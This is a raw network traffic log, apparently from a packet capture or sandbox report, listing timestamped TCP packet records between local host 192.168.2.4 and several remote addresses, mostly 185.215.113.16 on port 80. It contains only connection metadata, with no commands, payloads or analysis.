Nov 18, 2024 21:04:16.925617933 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.926990032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.927006006 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.927047014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.927077055 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.928853035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.928869963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.928917885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.931025982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.931044102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.931080103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.932432890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.932450056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.932465076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.932488918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.932519913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.934180975 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.934199095 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.934237957 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.935606003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.935621977 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.935645103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.935672998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.937014103 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.937030077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.937083006 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.938513994 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.938529968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.938544035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.938565969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.938602924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.940073967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.940092087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.940138102 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.941910028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.941926003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.941963911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.942001104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.943114996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.943131924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.943166971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.943181992 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.944684982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.944701910 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.944741964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.945976019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.945992947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.946007967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.946028948 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.946044922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.947515965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.947531939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.947551012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.947585106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.948745966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.948761940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.948796034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.950428963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.950445890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.950510025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.950510025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.952119112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.952135086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.952148914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.952168941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.952200890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.953433037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.953449011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.953490019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.956115007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.956130028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.956155062 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.956171989 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.957427025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.957442999 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.957485914 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.960216045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.960233927 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.960310936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.961400032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.961416006 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.961431980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.961453915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.961477995 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.962188959 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.962256908 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.962388039 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.963900089 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.963917017 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.963957071 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.965574026 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.965590954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.965611935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.965642929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.966382027 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.966417074 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.968256950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.968272924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.968333960 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.968333960 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.971848965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.971865892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.971884966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.971915960 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.972453117 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.972476006 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.972522974 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.975158930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.975186110 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.975213051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.975250006 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.977056980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.977072001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.977113008 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.977497101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.977514029 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.977534056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.977560997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.978786945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.978804111 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.978842020 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.980540037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.980557919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.980591059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.980623960 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.982515097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.982697010 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.982727051 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.982743025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.982777119 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.982882023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.984255075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.984271049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.984312057 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.984904051 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.986649036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.986694098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.988199949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.988225937 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.988287926 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.990685940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.990704060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.990719080 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.990746021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.990761042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.993988037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.994004965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.994057894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.996030092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.996045113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.996085882 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.996114016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.996649027 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.996665955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.996709108 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.998374939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.998390913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.998414040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.998446941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.000746012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.000761986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.000803947 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.002821922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.002840042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.002883911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.004214048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.004230022 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.004261017 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.004286051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.006514072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.006530046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.006571054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.008222103 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.008238077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.008271933 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.008301020 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.011018038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.011034012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.011071920 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.012837887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.012855053 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.012897015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.015403032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.015420914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.015470982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.019083977 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.019099951 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.019145012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.019679070 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.019695997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.019716024 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.019747972 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.023195028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.023211002 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.023252964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.023268938 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.024075985 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.024092913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.024131060 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.026253939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.026269913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.026313066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.026345015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.029948950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.029964924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.030019045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.030810118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.030827045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.030852079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.030881882 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.033421993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.033438921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.033479929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.034089088 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.034106016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.034120083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.034135103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.034163952 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.037009001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.037025928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.037050962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.037081957 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.037391901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.037409067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.037450075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.039792061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.039808989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.039851904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.039937019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.039953947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.039969921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.039979935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.039998055 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.040014029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.041938066 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.041955948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.042011023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.042624950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.042640924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.042661905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.042691946 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.043941021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.043956995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.043977022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.043997049 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.044861078 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.044943094 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.044996023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.045017004 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.045056105 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.046125889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.046154976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.046173096 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.046200037 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.046390057 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.046405077 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.046412945 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.046418905 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.046982050 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.047504902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.048094034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.048132896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.049716949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.049734116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.049753904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.049771070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.051485062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.053116083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.053168058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.056050062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.056066990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.056102991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.056132078 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.056940079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.056969881 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.056984901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.057008982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.057034016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.058979034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.058995008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.059037924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.059854984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.059871912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.059912920 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.062063932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.062081099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.062108040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.062133074 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.062994957 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.063011885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.063041925 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.063071012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.063836098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.063852072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.063894033 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.065793037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.065809011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.065843105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.065866947 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.067296028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.067321062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.067370892 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.069013119 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.069027901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.069076061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.070764065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.070780039 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.070828915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.072638988 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.072663069 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.072710991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.074878931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.074894905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.074949026 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.076962948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.076980114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.077014923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.077049017 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.079636097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.079652071 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.079703093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.081985950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.082004070 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.082065105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.084508896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.084527016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.084542036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.084577084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.084594011 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.086477995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.086493969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.086574078 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.089217901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.089235067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.089270115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.089298964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.090897083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.090914011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.090966940 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.093272924 CET	80	49818	185.215.113.16	192.168.2.4
